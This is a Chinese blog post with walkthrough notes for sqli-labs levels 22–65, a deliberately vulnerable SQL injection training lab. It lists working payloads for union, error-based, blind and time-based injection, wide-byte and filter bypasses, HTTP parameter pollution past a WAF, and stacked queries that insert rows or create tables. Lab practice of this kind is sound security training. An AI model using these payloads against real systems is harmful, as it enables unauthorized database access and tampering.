第七周靶场练习及心得（2）

最新推荐文章于 2024-06-14 09:32:35 发布
最新推荐文章于 2024-06-14 09:32:35 发布
阅读量437 收藏
点赞数
文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Vicissitud/article/details/129369675
版权

Less-22 基于错误的双引号字符型Cookie注入)

老规矩先查看代码

这里闭合需要"去闭合，将单引号换成双引号 成功绕过

-admin" union select 1,2,database()#
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

Less-23 基于错误的，过滤注释的GET型

通过union 查询，在3处闭合 将查询语句写入
-1' union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and '1'='1

Less-24 二次注入

先看代码

先用普通用户登录admin-admin 

 

 然后创建账号修改密码为12345然后就可以登录啦

Less-25 过滤了or和and

先看源代码

提示是or和and以及被替换

爆破数据表

?id=1' oorr 1=1 --+
?id=1' aandnd 1=1 --+

 使用双写挨个测试

Less-26 过滤了注释和空格的注入

先看源代码

查看源码
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

空格和注释无法使用
绕过空格的几种
%09 tab键 %0a 新建一行 %0c 新的一页 %od return功能 %0b tab键垂直 %a0 空格

用%A0替代空格使用，用&&(%26%26)替代AND使用
构造payload： 0'%A0UNION%A0SELECT%A01,version(),database()%26%26%a0'1
这道题还可以使用盲注实现
0'||left(database(),1)='s'%26%26'1'='1
同样报错注入也可以实现
0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1

只要将空格和and绕过 那么实现就简单了
or和and 很好过滤，注释过滤了就使用永真闭合

Less-27 过滤了union和select

做了这么多了，下来就不说如何拿到数据了，重点在于如何绕过，只要能够找到注入点，剩下的可以利用sqlmap 等等工具直接利用，毕竟在渗透中，没有那么多的时间让我们去消耗

过滤了union和select
绕过方式：双写 大小写
0'%0aUnioN%0aSeleCT%0a1,2,3;%00
0'%A0UnIoN%A0SeLeCt(1),2,3%26%26%a0'1

这里说明一下，冒号可以做闭合用， %00用来截断 这样和注释有相同的含义，这下绕过就多了：注释，分号闭合，冒号%00截断

 

Less-27a 过滤了union和select

和上一题一样，但是把单引号换成了双引号
替换上一题的payload即可绕过

0"%0aUNion%0aseLEct%0a1,2,3%26%26%0a"1
0"%0aUNion%0aseLEct%0a1,2,3;%00

 

 

Less-28 过滤了union和select大小写

 0')%A0UnIoN%A0SeLeCt(1),version(),3%26%26%a0('1
使用盲注也可以达到注入的目录
0')||left(database(),1)='s';%00

 

 

Less-28a盲注 过滤了union和select大小写

 类似于28 这里可以使用注释
0')%A0UnIoN%A0SeLeCt(1),version(),database() --+

 

 

Less-29 获取-基于错误的缺乏证据的不匹配-在web应用程序前面有一个WAF。

 ?id=1&id=0%27%20union%20all%20sElect%201,database(),3%20–+

 

Less-30 盲注-缺乏证据的不匹配-在web应用程序前面有一个WAF。

测试发现" 报错
0" union select 1,2,database() --+
测试发现上面的同样可以过waf
id=1&id=0" union select 1,2,database() --+ 

Less-31 盲注-缺乏证据的不匹配-在web应用程序前面有一个WAF。

判断发现可以通过") --+ 闭合
id=1&id=0")  union select 1,2,database() --+

Less-32 一个为危险字符添加斜线的GET - Bypass自定义过滤器

 

注释发现 系统会给特殊字符添加转义\
那么我们是否可以编码绕过，发现编码不行
尝试转换成16进制也不ok
百度一下，得到了这道题的做法：宽字节注入，由于数据库编码与前端编码不一致导致存在注入

汉字是由两个字节编码的，由于gbk和utf-8编码不一致导致报错，为了构成报错，我们需要添加一个大于128的编码

0%df'  union select 1,database(),3 --+
成功绕过

Less-33 bypass Addslashes()

这里主要是如何绕过addslashes()这个函数
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是：

    单引号（'）
    双引号（"）
    反斜杠（\）
    NULL

提示：该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注释：默认地，PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes()，因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
这里和32 差别不大 一个是自定义添加，另一个是使用函数添加
0%df'  union select 1,database(),3 --+

Less-34 bypass Addslashes()

和上一关差别不大，使用post请求
一样的宽字节注入，并且在uname和passwd处都存在注入
uname=0%df'  union select 1,database() --+&passwd=0&submit=Submit

Less-35 GET-Bypass添加斜杠(我们不需要)整数

这里输入的整数 直接--+ 就可以绕过了
0 union select 1,database(),3 --+

Less-36 GET-Bypass MySQLreal escape_string

使用mysql_real_escape_string函数对于特殊字符进行转义。id参数是单引号，和前面三十二关一样

Less-37 POST-Bypass MySQLreal escape_string

1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+  爆字段名
1%df' union select 1,group_concat(password,username) from users--+ 爆密码账户

Less-38 层次化查询

可以直接正常注入
主要看下这个函数
mysqli_more_results() 检查一个多重查询语句中是否有更多结果

Less-39 GET - Stacked Query Injection - Intiger based

语句都一样，重点是找到闭合的方式
1;insert into users(id,username,password) values (16,'a','a')--

Less-40 GET-BLIND - based - String - stacked

1'); insert into users(id,username,password) values ('17','a','a')--+

Less-41 GET - BLIND based - Intiger - Stacked

1; insert into users(id,username,password) values(18,'b','b') --+

Less-42 POST - Stacked Query error based

经过验证，在password处语句报错，所以我们需要从passowrd入手

0';create table aaa like users #

Less-43 POST- Stacked Query error based with twist

和 42 类似 同样password 未过滤

login_user=1&login_password=a');create table less43 like users#&mysubmit=Login

Less-44 POST - Error based - String - Stacked -Blind

login_user=a&login_password=a';insert into users(id,username,password) values(19,'a','a') --+&mysubmit=Login

Less-45 POST - Error based - String - Stacked - Blind

login_user=a&login_password=a'); insert into users(id,username,password) values(20,''c','c') --+&mysubmit=Login

Less-46 ORDER BY-Error-Numeric

终于迎来了一个过渡
这次的注入是通过order by 来进行的
通过sort 查询 发现当输入4的时候报错，而报错提示与order by 提示相同，猜想可能是将输入的值插入order by里进行的
通过updatexml 报错注入
sort=4 and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23

Less-47 ORDER BY Clause-Error-Single quote

和46有少许区别，做到这里基本套路应该都懂了，从不需要单引号，双引号之类的报错，到盲注，难度都是一步一步深入
sort=4' and (select count(*)  from information_schema.columns group by concat(0x7e,(select database()),0x7e,floor(rand(0)*2)))  --+
注意 and后面的语句要使用（）括起来
基于 procedure analyse 注入
sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

Less-48 ORDER BY Clause Blind based

需要使用盲注解决
通过substr获取所要查询的信息的位数
然后使用ascii去解析成ascii编码
通过if判断是否相等 去获取值
构成 if(ascii(substr(datbase(),1,1)))

Less-49 ORDER BY Clause Blind based

这一题使用延时盲注解决 获取长度 1 and if(length(database())=8,sleep(5),0)--+ 获取值 1 and If(ascii(substr(database(),1,1))=114,0,sleep (5))--+

Less-50 ORDER BY Clause Blind based

?sort=1;insert into users(id, username, password)values(100,'721721','127'); --+

Less-51 ORDER BY Clause Blind based

sort=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

 

 

Less-52 ORDER BY Clause Blind based

测试发现均没有显错 只能盲注了
1 and if(length(database())=8,sleep(5),0) --+

 

Less - 53 ORDER BY Clause Blind based

 

?sort=1';insert into users(id,username,password)values(100,'721','721'); --+ 

Less-54 GET-challenge-Union-10 queries allowed-Variation 1

?id=-1' union select 1,2,database() --+//爆破数据库

Less-55 GET-challenge-Union-14 queries allowed-Variation 2

?id=-1) union select 1,2,database() --+//爆破数据库

Less-56 GET-challenge-Union-14 queries allowed-Variation 3

?id=-1') union select 1,2,database() --+//爆破数据库

Less-57 GET-challenge-Union-14 queries allowed-Variation 4

?id=-1" union select 1,2,database() --+

Less-58 GET-challenge-Double Query-5 queries allowed-Variation 1

这一关和前面不太一样，因为该关卡的数据不是直接数据库里面取得，而是在一个数组里面取出得。所以联合注入是不行得。但是有报错显示，所以可以使用报错注入。

 

Less-59 GET-challenge-Double Query-5 queries allowed-Variation 2

?id=-1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+

Less-60 GET-challenge-Double Query-5 queries allowed-Variation 3

?id=-1") and updatexml(1,concat(0x7e,database(),0x7e),1) --+

 

 

Less-61 GET-challenge-Double Query-5 queries allowed-Variation 4

闭合方式为 '))

爆破数据库

?id=-1')) and updatexml(1,concat(0x7e,database(),0x7e),1) --+

Less-62 GET-challenge-Blind- 130 queries allowed -variation 1

?id=1') and if(ascii(substring(database(),1,1))=99,sleep(10),1)--+

Less-63 GET-challenge-Blind- 130 queries allowed -variation 2

和上一题一样，通过测试闭合
发现 ") 绕过 闭合

Less-64 GET-challenge-Blind- 130 queries allowed -variation 3

测试了 '  " ) )) ') ") ')) "))
1)) order by 3 %23 闭合

Less-65 GET-challenge-Blind- 130 queries allowed -variation 4

?id=1") and if(ascii(substring(database(),1,1))=99,sleep(10),1)--+

")闭合

Vicissitud
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
sqli-labs靶场练习笔记
11-09
sqli-labs靶场练习笔记，里面有2关 3关 4关 5关 4关 7关 8关 9关 11关 12关 13关 14关 15关 16关 17关 18关 19关 20关 21关 22关 23关 24关 的练习内容，可以供给初学sql注入的学者参考
PiKachu之Sql (SQL注入)通关 2022
av11566的博客
04-18 7904
遇到一个待测点： 1、判断是否有注入（判断是否未严格校验)-->第一要素 1)可控参数的改变能否影响页面显示结果。 2)输入的SQL语句是否能报错-能通过数据库的报错，看到数据库的一些语句痕迹（select username, password from user where id = 4 and 0#3)输入的SQL语句能否不报错-我们的语句能够成功闭合 2、什么类型的注入 3、语句是否能够被恶意修改--第二个要素 4、是否能够成功执行-->第三个要素 5、获取我们想要的数据。
网络安全技术练习靶场.zip
01-14
靶场，是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中，靶场扮演着重要的角色，尤其是在网络安全领域，靶场成为培养和提高安全专业人员技能的重要平台。 首先，...
sqli-labs靶场练习wp的配图.zip
01-16
靶场，是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中，靶场扮演着重要的角色，尤其是在网络安全领域，靶场成为培养和提高安全专业人员技能的重要平台。 首先，...
我的靶场以及心得.zip
01-16
靶场，是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中，靶场扮演着重要的角色，尤其是在网络安全领域，靶场成为培养和提高安全专业人员技能的重要平台。 首先，...
数字时代网络安全即服务的兴起
网络研究观
06-11 547
网络安全即服务是一种通过基于云的服务来管理安全需求的综合方法。
如何确保数据跨域交换安全、合规、可追溯性？
最新发布
文件数据安全交换
06-14 197
飞驰云联是中国领先的数据安全传输解决方案提供商，长期专注于安全可控、性能卓越的数据传输技术和解决方案，公司产品和方案覆盖了跨网跨区域的数据安全交换、供应链数据安全传输、数据传输过程的防泄漏、FTP的增强和国产化替代、文件传输自动化和传输集成等各种数据传输场景。针对上述问题，推荐采用统一的数据跨域交换管控平台，如飞驰云联《Ftrans MDE多区域文件交换系统》，帮助企业构建统一、安全、高效的数据跨域交换通道，确保数据在多地理区域、多网络区域、多分支机构间准确、高效地传输。问题：明文传输，容易被截获和窃取；
展会邀请 | 龙智即将亮相2024上海国际嵌入式展，带来安全合规、单一可信数据源、可追溯、高效协同的嵌入式开发解决方案
weixin_49715102的博客
06-09 939
凭借在DevSecOps领域的深厚积累，龙智在全球范围内遴选优秀的专业工具，为嵌入式开发行业打造了专属的嵌入式开发解决方案，并提供专业咨询、方案定制、实施部署、专业培训、定制开发等一站式服务支持。等全球专业工具，覆盖嵌入式软件单元测试、静态代码分析、需求管理、版本控制、生命周期管理及项目管理、知识库管理等领域，助力企业实现安全合规、可追溯、单一可信数据源、高效协同的嵌入式开发。并且嵌入式系统往往非常复杂，需要全面的测试覆盖、高效的测试执行，才能确保系统的可靠性和正确性，以及产品的及时交付。
安全漏洞扫描工具
weixin_45639224的博客
06-05 585
安全漏洞扫描工具
蓝牙安全入门——两道CTF题目复现
weixin_66578482的博客
06-10 860
🚀🚀蓝牙中的安全管理协议（Security Manager Protocol，SMP）是负责蓝牙设备间的配对和加密的协议。🚀🚀SMP广泛应用于需要安全数据传输的蓝牙设备，如智能手表、健身追踪器、无线耳机和医疗设备。🚀🚀SMP的主要功能之一是处理设备间的配对过程。🚀🚀最近一直对车联网比较感兴趣，但是面试官说我有些技术栈缺失，所以还得狠狠补，先从蓝牙开始吧，因为刚好有道CTF的题目可以复现一下。🚀🚀虽然SMP提供了题目 蓝牙钥匙的春天 题目 low_energy_crypto
操作系统安全：Windows系统安全配置，Windows安全基线检查加固
wangyuxiang946的博客
06-11 1173
Windows安全基线检查标准，Windows加固方式
Java中的安全管理器和权限控制
weixin_53840353的博客
06-13 488
Java安全管理器是一种允许应用程序在运行时检查对系统资源（如文件和网络）的访问权限的机制。通过定义和安装自定义的安全策略，程序员可以控制哪些代码能够执行特定的操作，从而保护系统资源的安全。@Override// 自定义安全策略throw new SecurityException("写文件操作被禁止！");try {// 尝试写文件操作System.err.println("安全异常：" + e.getMessage());在这个示例中，自定义的禁止所有文件写操作。
安鸾学院靶场——安全基础
qq_55202378的博客
06-13 680
后门端口，直接执行系统命令。注意：10021端口上ftp的后门端口为16200。添加完后，根据icon，可以看出这是一个python打包成的exe程序。看wp是由web.zip文件的，但是这里没有，所以搞不定了。下载提供的flag.zip和wordlist.txt，使用。：在vsftpd 2.3.4版本中，在登录输入用户名时输入。的返回包，可以拿到包含flag的txt文件。九阴真经上卷找不到，似乎被删了，只有下卷。类似于笑脸的符号，会导致服务处理开启。flag在whalwl数据库中。
Veeam Backup Enterprise Manager身份验证绕过漏洞（CVE-2024-29849）
lujiawei00的专栏
06-11 502
对于无法立即将 Veeam Backup Enterprise Manager 升级到 12.1.2.172 的客户，可执行以下缓解措施： 1.通过停止 Veeam Backup Enterprise Manager 软件来缓解该漏洞，可停止并禁用以下服务（禁用服务不会阻止安装 12.1.2 更新，但更新后需要将服务重置回自动启动）：
Linux网络安全
十一、的博客
06-09 778
由于Linux系统的安全稳定，所以经常被用作网络应用服务器。但由于程序代码缺陷的难以避免，这些安装在Linux系统上的网络程序往往会存在着各种漏洞，而入侵者则是利用这些漏洞进行网络攻击，进入系统窃取数据、破坏系统或使系统无法提供正常服务等。Ping是基于ICMP协议的一个实用程序，用于验证两台计算机之间网络连接的可达性和质量。它通过发送ICMP回声请求消息到目标主机，并等待回声应答消息来判断网络状态。当执行ping命令时，它会生成一个ICMP回声请求数据包并发送到指定的目标主机。
上心师傅的思路分享(三)--Nacos渗透
weixin_72543266的博客
06-10 979
Nacos 是阿里巴巴推出来的一个开源项目，是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集，可以快速实现动态服务发现、服务配置、服务元数据及流量管理。但是Nacos是部署在内网的,因此下面通过语法搜索出来的可以看到的,一般会做访问限制的,正常是访问不到的,如果可以访问就可以尝试是否存在漏洞了.当然如果直接在真实环境下测试,一是未授权行为,二是不容易找到复现环境,所以在本地搭建环境来进行复现是最安全,也是最容易。
渗透测试之内核安全系列课程：Rootkit技术初探（三）
fearhacker的专栏
06-08 961
相应的，每个进程，都会存在一个页目录表），1024MB = 1 GB；GDT 全局描述符表、LDT 局部描述符表、GDTR 全局描述符表 寄存器、LDTR 局部描述符表 寄存器 、一致性代码、非一致性代码、实模式、保护模式、线性地址。在 Intel 系列的 芯片中，存在专门的电路，负责将虚拟地址（线性地址）转译为内存物理地址！目前这块，笔者本人，也需要更加深入的理解，也许以后，会涉及到对这方面的更详细讲解 ）。想要免杀，需要了解的安全技术知识包括软件加壳、代码混淆（例如，使用花指令）、隐匿技术（例如，
采用PHP语言（医院安全不良事件上报系统源码）医院不良事件 各类事件分析、分类、处理流程
爱笑的源码博客
06-11 1005
分为外部报告系统和内部报告系统两类。内部报告系统主要以个人为报告单位，由医院护理主管部门自行管理的报告系统。外部报告系统主要以医院护理主管部门为报告单位，由卫生行政部门或行业组织管理的报告系统。
安全等保评测-什么是“等保“?
2401_84434570的博客
06-11 582
它旨在通过对信息和信息系统的安全性进行评估，发现并纠正存在的安全漏洞和隐患，提高信息系统的安全性和可靠性，保障信息的安全。等级保护测评是经公安部认证的具有资质的测评机构，依据国家信息安全等级保护规范规定，受有关单位委托，按照有关管理规范和技术标准，对信息系统安全等级保护状况进行检测评估的活动。进行现场调研和检测：对系统和数据进行现场调研和检测，了解系统和数据的安全状况和存在的问题。确定测评目标和范围：明确要测评的信息和信息系统的范围和目标，了解业务需求和安全需求。
vulhub靶场练习
07-28
- *2* *3* [vulhub靶场练习 CVE-2016-3088 —— ActiveMQ任意文件写入漏洞](https://blog.csdn.net/qq_38632151/article/details/102975086)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630",...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值